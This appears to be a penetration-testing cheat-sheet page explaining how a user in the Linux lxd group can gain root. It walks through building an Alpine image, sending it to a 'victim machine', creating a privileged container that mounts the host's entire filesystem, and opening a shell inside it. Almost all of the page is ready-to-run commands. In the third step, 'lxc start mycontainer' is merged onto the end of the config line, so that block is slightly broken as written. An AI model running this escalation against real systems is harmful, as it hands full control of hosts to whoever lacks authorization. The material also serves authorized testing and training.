# Linux Group Privileges

## lxd group

If lxc/lxd is not working USE THE FULL PATH

{% tabs %}
{% tab title="First Step" %}
First download an Alpine image, then upload it to the remote machine.

```
git clone https://github.com/saghul/lxd-alpine-builder.git 
cd lxd-alpine-builder/ 
./build-alpine
```

A compressed file will be created. Now, we have to send this file to the victim machine
{% endtab %}

{% tab title="Second Step" %}
Once the file is copied, initiate LXD on the remote machine and proceed with the installation while answering "no" to all prompts, you can use the following command:

```
sudo lxd init --auto
```

Next, we run the following command to import the alpine image.

```
lxc image import <zip_file> --alias <name>
```

To check if the image is successfully imported, type the following.

```
lxc image list
```

{% endtab %}

{% tab title="Third Step" %}
Next, we need to make the container privileged, and mount the filesystem, before starting the container.

{% code overflow="wrap" %}

```
lxc init <name> mycontainer -c security.privileged=true 
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true lxc start mycontainer
```

{% endcode %}
{% endtab %}

{% tab title="Fourth Step" %}
Once the container is started, we can access it by typing the following command.

```
lxc exec mycontainer /bin/sh
```

{% endtab %}
{% endtabs %}
